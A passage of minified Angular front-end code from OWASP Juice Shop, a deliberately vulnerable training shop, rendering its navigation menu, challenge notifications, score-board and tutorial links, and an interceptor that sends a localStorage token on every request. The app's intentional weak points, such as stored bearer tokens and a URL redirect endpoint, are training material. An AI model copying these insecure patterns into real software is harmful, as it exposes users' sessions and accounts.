Date;o.setFullYear(o.getFullYear()+1),this.cookieService.put("continueCode",e,{expires:o})},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(t.R0b),t.Y36(b.e),t.Y36(ot),t.Y36(qp),t.Y36(u.sK),t.Y36(I.N_),t.Y36(t.sBO),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-challenge-solved-notification"]],decls:2,vars:1,consts:[[1,"container","challenge-solved-toast","mat-elevation-z4"],["class","accent-notification",4,"ngFor","ngForOf"],[1,"accent-notification"],["id","closeButton","mat-button","",3,"click"],[3,"hidden"],[1,"icon-box"],["ngxClipboard","","mat-stroked-button","",3,"cbContent","disabled","cbOnSuccess"],["class","icon-box",4,"ngIf"],[3,"class",4,"ngIf"],[4,"ngIf"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t.YNc(1,Jp,23,14,"mat-card",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("ngForOf",o.notifications))},dependencies:[h.sg,h.O5,tn.yb,F.Hw,x.lW,T.a8,h.i8,u.X$],styles:[".container[_ngcontent-%COMP%]{font-size:14px;margin:40px}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}#closeButton[_ngcontent-%COMP%]{float:right}.icon-box[_ngcontent-%COMP%]{display:inline-flex;vertical-align:middle}"]}),n})();var Zt=c(6338);function Hp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",36),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"mat-icon"),t._uU(2," exit_to_app "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGIN")," "))}function Gp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return i.onToggleSidenav(),t.KtG(i.goToProfilePage())}),t.TgZ(1,"mat-icon"),t._uU(2," account_circle "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",e.userEmail," ")}}function jp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",38),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"mat-icon"),t._uU(2," account_balance "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"ACCOUNTING")," "))}const nn=function(n){return{rotated:n}};function Kp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-list-item",39),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," check_circle_outline "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"mat-icon",40),t._uU(7," expand_more "),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"ORDERS_AND_PAYMENT")," "),t.xp6(2),t.Q6J("ngClass",t.VKq(4,nn,e.showOrdersSubmenu))}}function Wp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",47),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," archive "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"LABEL_ORDER_HISTORY")," "))}function zp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",48),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," autorenew "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"NAV_RECYCLE")," "))}function $p(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",49),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," my_location "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_SAVED_ADRESSES")," "))}function Vp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",50),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," credit_card "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_PAYMENT_OPTIONS")," "))}function Xp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",51),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," account_balance_wallet "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"DIGITAL_WALLET")," "))}const on=function(n){return{expanded:n}};function td(n,a){if(1&n&&(t.TgZ(0,"div",41),t.YNc(1,Wp,6,3,"a",42),t.YNc(2,zp,6,3,"a",43),t._UZ(3,"mat-divider"),t.YNc(4,$p,6,3,"a",44),t.YNc(5,Vp,6,3,"a",45),t.YNc(6,Xp,6,3,"a",46),t.qZA()),2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(6,on,e.showOrdersSubmenu)),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(2),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn())}}function ed(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-list-item",52),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," security "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"mat-icon",40),t._uU(7," expand_more "),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"PRIVACY_AND_SECURITY")," "),t.xp6(2),t.Q6J("ngClass",t.VKq(4,nn,e.showPrivacySubmenu))}}function nd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",59),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," assignment "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_PRIVACY_POLICY"),t.qZA()()}}function od(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",61),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," get_app "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_REQUEST_DATA_EXPORT"),t.qZA()()}}function ad(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",62),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.goToDataErasurePage())})("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," delete_forever "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"DATA_SUBJECT_TITLE"),t.qZA()()}}function id(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",63),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," edit "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_CHANGE_PASSWORD"),t.qZA()()}}function rd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",64),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," exposure_plus_2 "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA()()}}function sd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",65),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," place "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"LAST_LOGIN_IP"),t.qZA()()}}function ld(n,a){if(1&n&&(t.TgZ(0,"div",41),t.YNc(1,nd,5,0,"a",53),t.YNc(2,od,5,0,"a",54),t.YNc(3,ad,5,0,"a",55),t._UZ(4,"mat-divider"),t.YNc(5,id,5,0,"a",56),t.YNc(6,rd,5,0,"a",57),t.YNc(7,sd,5,0,"a",58),t.qZA()),2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(7,on,e.showPrivacySubmenu)),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(2),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn())}}function cd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",66),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return i.onToggleSidenav(),t.KtG(i.logout())}),t.TgZ(1,"mat-icon"),t._uU(2," power_settings_new "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGOUT")," "))}function ud(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",67),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," sentiment_dissatisfied "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"NAV_COMPLAIN")," "))}function pd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",68),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," chat "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"SECTION_SUPPORT_CHAT")," "))}function dd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",69),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," card_membership "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"LABEL_DELUXE_MEMBERSHIP")," "))}function md(n,a){1&n&&t._UZ(0,"mat-divider",70)}function gd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",71),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.ALo(1,"async"),t._UZ(2,"mat-icon",72),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("routerLink",t.lcZ(1,2,e.scoreBoardLink$)),t.xp6(4),t.hij(" ",t.lcZ(5,4,"TITLE_SCORE_BOARD")," ")}}function hd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",73),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructor())}),t.TgZ(1,"i",13),t._uU(2," school "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"BTN_GETTING_STARTED")," "))}function _d(n,a){1&n&&(t.TgZ(0,"a",74),t._UZ(1,"mat-icon",75),t.TgZ(2,"span",14),t._uU(3," GitHub "),t.qZA()())}let fd=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y){this.administrationService=e,this.challengeService=o,this.ngZone=i,this.io=r,this.userService=l,this.cookieService=m,this.router=v,this.configurationService=A,this.loginGuard=q,this.featureFlagService=Y,this.applicationName="OWASP Juice Shop",this.showGitHubLink=!0,this.userEmail="",this.scoreBoardVisible=!1,this.version="",this.showPrivacySubmenu=!1,this.showOrdersSubmenu=!1,this.isShowing=!1,this.offerScoreBoardTutorial=!1,this.sidenavToggle=new t.vpe,this.onToggleSidenav=()=>{this.sidenavToggle.emit()}}ngOnInit(){this.administrationService.getApplicationVersion().subscribe(e=>{e&&(this.version=`v${e}`)},e=>{console.log(e)}),this.getApplicationDetails(),this.getScoreBoardStatus(),localStorage.getItem("token")?this.getUserDetails():this.userEmail="",this.userService.getLoggedInState().subscribe(e=>{e?this.getUserDetails():this.userEmail=""}),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{"scoreBoardChallenge"===e.key&&(this.scoreBoardVisible=!0)})}),this.scoreBoardLink$=this.featureFlagService.defaultScoreBoard$.pipe((0,C.U)(e=>"v1"===e?"/score-board-legacy":"/score-board"))}isLoggedIn(){return localStorage.getItem("token")}logout(){var e=this;this.userService.saveLastLoginIp().subscribe(o=>{this.noop()},o=>{console.log(o)}),localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),this.userService.isLoggedIn.next(!1),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/"])}))}goToProfilePage(){window.location.replace(P.N.hostServer+"/profile")}goToDataErasurePage(){window.location.replace(P.N.hostServer+"/dataerasure")}noop(){}getScoreBoardStatus(){this.challengeService.find({name:"Score Board"}).subscribe(e=>{this.ngZone.run(()=>{this.scoreBoardVisible=e[0].solved})},e=>{console.log(e)})}getUserDetails(){this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email},e=>{console.log(e)})}getApplicationDetails(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.name&&(this.applicationName=e.application.name),e?.application&&(this.showGitHubLink=e.application.showGitHubLinks),e?.application.welcomeBanner.showOnFirstStart&&e.hackingInstructor.isEnabled&&(this.offerScoreBoardTutorial=e.application.welcomeBanner.showOnFirstStart&&e.hackingInstructor.isEnabled)},e=>{console.log(e)})}isAccounting(){return"accounting"===this.loginGuard.tokenDecode()?.data?.role}startHackingInstructor(){this.onToggleSidenav(),console.log(\'Starting instructions for challenge "Score Board"\'),Promise.resolve().then(c.bind(c,1096)).then(e=>{e.startHackingInstructorFor("Score Board")})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(he),t.Y36(ot),t.Y36(t.R0b),t.Y36(st),t.Y36(R),t.Y36(I.N_),t.Y36(U.F0),t.Y36(b.e),t.Y36(W),t.Y36(ge))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["sidenav"]],outputs:{sidenavToggle:"sidenavToggle"},decls:72,vars:27,consts:[["color","primary",1,"mat-elevation-z6"],["mat-button","",2,"height","0","position","absolute"],["mat-subheader","","translate","","fxHide","","fxShow.lt-md","",1,"side-subHeader"],["fxHide","","fxShow.lt-md",""],["mat-list-item","","routerLink","/login","aria-label","Go to login page",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Go to user profile",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/accounting","aria-label","Go to accounting page",3,"click",4,"ngIf"],["class","parent","aria-label","Show Orders and Payment Menu",3,"click",4,"ngIf"],["class","submenu",3,"ngClass",4,"ngIf"],["class","parent","aria-label","Show Privacy and Security Menu",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Logout",3,"click",4,"ngIf"],["mat-subheader","","translate","",1,"side-subHeader"],["mat-list-item","","routerLink","/contact","aria-label","Go to contact us page",3,"click"],[1,"material-icons"],[1,"menu-text","truncate"],["mat-list-item","","routerLink","/complain","aria-label","Go to complain page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/chatbot","aria-label","Go to chatbot page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/about","aria-label","Go to about us page",3,"click"],["mat-list-item","","routerLink","/photo-wall","aria-label","Go to photo wall",3,"click"],["mat-list-item","","routerLink","/deluxe-membership","aria-label","Go to deluxe membership page",3,"click",4,"ngIf"],["style","margin-bottom: 10px;",4,"ngIf"],["mat-list-item","","aria-label","Open score-board",3,"routerLink","click",4,"ngIf"],["mat-list-item","","aria-label","Launch beginners tutorial",3,"click",4,"ngIf"],["mat-list-item","","href","./redirect?to=https://github.com/juice-shop/juice-shop","aria-label","Go to OWASP Juice Shop GitHub page",4,"ngIf"],[1,"appVersion"],[2,"font-size","13px"],[2,"font-size","12px"],[2,"margin-top","10px"],[1,"icon-angular"],[1,"icon-html5"],[1,"icon-sass"],[1,"icon-css3"],[1,"icon-javascript-alt"],[1,"icon-nodejs"],[1,"icon-database-alt2"],[1,"icon-mongodb"],["mat-list-item","","routerLink","/login","aria-label","Go to login page",3,"click"],["mat-list-item","","aria-label","Go to user profile",3,"click"],["mat-list-item","","routerLink","/accounting","aria-label","Go to accounting page",3,"click"],["aria-label","Show Orders and Payment Menu",1,"parent",3,"click"],[1,"menu-button",3,"ngClass"],[1,"submenu",3,"ngClass"],["mat-list-item","","routerLink","/order-history","aria-label","Go to order history page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/recycle","aria-label","Go to recycling page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/address/saved","aria-label","Go to saved address page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/wallet","aria-label","Go to wallet page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/order-history","aria-label","Go to order history page",3,"click"],["mat-list-item","","routerLink","/recycle","aria-label","Go to recycling page",3,"click"],["mat-list-item","","routerLink","/address/saved","aria-label","Go to saved address page",3,"click"],["mat-list-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",3,"click"],["mat-list-item","","routerLink","/wallet","aria-label","Go to wallet page",3,"click"],["aria-label","Show Privacy and Security Menu",1,"parent",3,"click"],["mat-list-item","","routerLink","privacy-security/privacy-policy","aria-label","Go to privacy policy page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/data-export","aria-label","Go to data export page",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Go to data subject page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/change-password","aria-label","Go to change password page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/two-factor-authentication","aria-label","Go to two factor authentication page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/last-login-ip","aria-label","Go to last login ip page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/privacy-policy","aria-label","Go to privacy policy page",3,"click"],["translate","",1,"menu-text","truncate"],["mat-list-item","","routerLink","privacy-security/data-export","aria-label","Go to data export page",3,"click"],["mat-list-item","","aria-label","Go to data subject page",3,"click"],["mat-list-item","","routerLink","privacy-security/change-password","aria-label","Go to change password page",3,"click"],["mat-list-item","","routerLink","privacy-security/two-factor-authentication","aria-label","Go to two factor authentication page",3,"click"],["mat-list-item","","routerLink","privacy-security/last-login-ip","aria-label","Go to last login ip page",3,"click"],["mat-list-item","","aria-label","Logout",3,"click"],["mat-list-item","","routerLink","/complain","aria-label","Go to complain page",3,"click"],["mat-list-item","","routerLink","/chatbot","aria-label","Go to chatbot page",3,"click"],["mat-list-item","","routerLink","/deluxe-membership","aria-label","Go to deluxe membership page",3,"click"],[2,"margin-bottom","10px"],["mat-list-item","","aria-label","Open score-board",3,"routerLink","click"],["matListIcon","",1,"fas","fa-trophy","fa-lg"],["mat-list-item","","aria-label","Launch beginners tutorial",3,"click"],["mat-list-item","","href","./redirect?to=https://github.com/juice-shop/juice-shop","aria-label","Go to OWASP Juice Shop GitHub page"],["matListIcon","",1,"fab","fa-github","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-toolbar",0)(1,"mat-toolbar-row")(2,"h2"),t._uU(3),t.qZA()()(),t.TgZ(4,"mat-nav-list"),t._UZ(5,"button",1),t.TgZ(6,"h3",2),t._uU(7,"ACCOUNT"),t.qZA(),t.TgZ(8,"div",3),t.YNc(9,Hp,6,3,"a",4),t.YNc(10,Gp,5,1,"a",5),t.YNc(11,jp,6,3,"a",6),t.YNc(12,Kp,8,6,"mat-list-item",7),t.YNc(13,td,7,8,"div",8),t.YNc(14,ed,8,6,"mat-list-item",9),t.YNc(15,ld,8,9,"div",8),t.YNc(16,cd,6,3,"a",10),t.qZA(),t._UZ(17,"mat-divider",3),t.TgZ(18,"h3",11),t._uU(19,"TITLE_CONTACT"),t.qZA(),t.TgZ(20,"a",12),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(21,"i",13),t._uU(22," feedback "),t.qZA(),t.TgZ(23,"span",14),t._uU(24),t.ALo(25,"translate"),t.qZA()(),t.YNc(26,ud,6,3,"a",15),t.YNc(27,pd,6,3,"a",16),t._UZ(28,"mat-divider"),t.TgZ(29,"h3",11),t._uU(30,"COMPANY"),t.qZA(),t.TgZ(31,"a",17),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(32,"i",13),t._uU(33," business_center "),t.qZA(),t.TgZ(34,"span",14),t._uU(35),t.ALo(36,"translate"),t.qZA()(),t.TgZ(37,"a",18),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(38,"i",13),t._uU(39," camera "),t.qZA(),t.TgZ(40,"span",14),t._uU(41),t.ALo(42,"translate"),t.qZA()(),t.YNc(43,dd,6,3,"a",19),t.YNc(44,md,1,0,"mat-divider",20),t.YNc(45,gd,6,6,"a",21),t.YNc(46,hd,6,3,"a",22),t.YNc(47,_d,4,0,"a",23),t.qZA(),t.TgZ(48,"div",24)(49,"span")(50,"span",25),t._uU(51),t.qZA(),t._UZ(52,"br"),t.TgZ(53,"span",26),t._uU(54),t.qZA(),t._UZ(55,"br"),t.TgZ(56,"div",27),t._UZ(57,"i",28),t._uU(58,"\\xa0 "),t._UZ(59,"i",29),t._uU(60,"\\xa0 "),t._UZ(61,"i",30),t._uU(62,"\\xa0 "),t._UZ(63,"i",31),t._uU(64,"\\xa0 "),t._UZ(65,"i",32),t._uU(66,"\\xa0 "),t._UZ(67,"i",33),t._uU(68,"\\xa0 "),t._UZ(69,"i",34),t._uU(70,"\\xa0 "),t._UZ(71,"i",35),t.qZA()()()),2&e&&(t.xp6(3),t.hij(" ",o.applicationName,""),t.xp6(6),t.Q6J("ngIf",!o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()&&o.isAccounting()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.showOrdersSubmenu),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.showPrivacySubmenu),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(8),t.hij(" ",t.lcZ(25,21,"SECTION_CUSTOMER_FEEDBACK")," "),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(8),t.hij(" ",t.lcZ(36,23,"TITLE_ABOUT")," "),t.xp6(6),t.hij(" ",t.lcZ(42,25,"LABEL_PHOTO_WALL")," "),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.scoreBoardVisible||o.showGitHubLink),t.xp6(1),t.Q6J("ngIf",o.scoreBoardVisible),t.xp6(1),t.Q6J("ngIf",!o.scoreBoardVisible&&o.offerScoreBoardTutorial),t.xp6(1),t.Q6J("ngIf",o.showGitHubLink),t.xp6(4),t.Oqu(o.applicationName),t.xp6(3),t.Oqu(o.version))},dependencies:[h.mk,h.O5,U.rH,u.Pi,$.b8,$.oO,yt.Ye,yt.rD,F.Hw,x.lW,z.d,Zt.Hk,Zt.Tg,Zt.Nh,Zt.gs,h.Ov,u.X$],styles:["mat-toolbar[_ngcontent-%COMP%]{height:auto;min-width:100%;padding-bottom:5px;width:100%}a[_ngcontent-%COMP%]{text-decoration:none!important}.menu-text[_ngcontent-%COMP%]{padding-left:10px}.mat-list-base[_ngcontent-%COMP%], .mat-list-item[_ngcontent-%COMP%], .mat-list-icon[_ngcontent-%COMP%]{padding:0!important}.toolbar-title[_ngcontent-%COMP%]{margin:0 16px}.mat-subheader[_ngcontent-%COMP%]{font-size:18px;font-weight:900}.app-nav-list-icon[_ngcontent-%COMP%]{margin:0 12px}.side-subHeader[_ngcontent-%COMP%]{font-weight:300}mat-nav-list[_ngcontent-%COMP%]{margin-bottom:50px}.menu-button[_ngcontent-%COMP%]{transform:rotate(0);transition:.3s ease-in-out}.menu-button.rotated[_ngcontent-%COMP%]{transform:rotate(180deg)}.submenu[_ngcontent-%COMP%]{overflow-y:hidden;padding-left:30px;transform:scaleY(0);transform-origin:top;transition:transform .3s ease}.submenu.expanded[_ngcontent-%COMP%]{transform:scaleY(1)}.appVersion[_ngcontent-%COMP%]{margin-bottom:20px;margin-top:20px;text-align:center}.truncate[_ngcontent-%COMP%]{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}"]}),n})();O.vz.watch();let Cd=(()=>{class n{constructor(e,o){this._document=e,this.translate=o,this.translate.setDefaultLang("en")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.K0),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-root"]],decls:10,vars:0,consts:[[1,"mat-typography"],["fullscreen",""],["mode","over"],["sidenav",""],[3,"sidenavToggle"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"div",0)(1,"mat-sidenav-container",1)(2,"mat-sidenav",2,3)(4,"sidenav",4),t.NdJ("sidenavToggle",function(){t.CHM(i);const l=t.MAs(3);return t.KtG(l.toggle())}),t.qZA()(),t.TgZ(5,"app-navbar",4),t.NdJ("sidenavToggle",function(){t.CHM(i);const l=t.MAs(3);return t.KtG(l.toggle())}),t.qZA(),t._UZ(6,"app-server-started-notification")(7,"app-challenge-solved-notification")(8,"app-welcome")(9,"router-outlet"),t.qZA()()}},dependencies:[U.lC,At.JX,At.TM,Ip,Pp,Dp,Qp,fd],styles:[".mat-sidenav[_ngcontent-%COMP%]{width:280px}"]}),n})(),vd=(()=>{class n{intercept(e,o){return localStorage.getItem("token")&&(e=e.clone({setHeaders:{Authorization:`Bearer ${localStorage.getItem("token")}`}})),localStorage.getItem("email")&&(e=e.clone({setHeaders:{"X-User-Email":String(localStorage.getItem("email"))}})),o.handle(e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})();var xd=c(6784),bd=c(8746);let Td=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275mod=t.oAB({type:n}),n.\\u0275inj=t.cJS({imports:[h.ez,s.u5,x.ot,N.Is,f.lN,f.lN,F.Ps,B.c,vt.LD,Q.AV,nt.Fk,s.UX,U.Bz,u.aw,We.Cq]}),n})();var Ad=c(8184);function yd(n){return new up.w(n,"./assets/i18n/",".json")}let Zd=(()=>{class n{constructor(e,o){this.configurationService=e,this.overlayContainer=o,e.getApplicationConfiguration().subscribe(i=>{o.getContainerElement().classList.add(i.application.theme+"-theme")})}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(b.e),t.LFG(Ad.Xj))},n.\\u0275mod=t.oAB({type:n,bootstrap:[Cd]}),n.\\u0275inj=t.cJS({providers:[{provide:L.TP,useClass:vd,multi:!0},{provide:oe.rN,useValue:{coreLibraryLoader:(a=(0,w.Z)(function*(){return yield c.e(112).then(c.bind(c,9112))}),function(){return a.apply(this,arguments)}),lineNumbersLoader:function(){var a=(0,w.Z)(function*(){return yield c.e(859).then(c.t.bind(c,859,23))});return function(){return a.apply(this,arguments)}}(),languages:{typescript:function(){var a=(0,w.Z)(function*(){return yield c.e(535).then(c.bind(c,2535))});return function(){return a.apply(this,arguments)}}(),javascript:function(){var a=(0,w.Z)(function*(){return yield c.e(613).then(c.bind(c,6613))});return function(){return 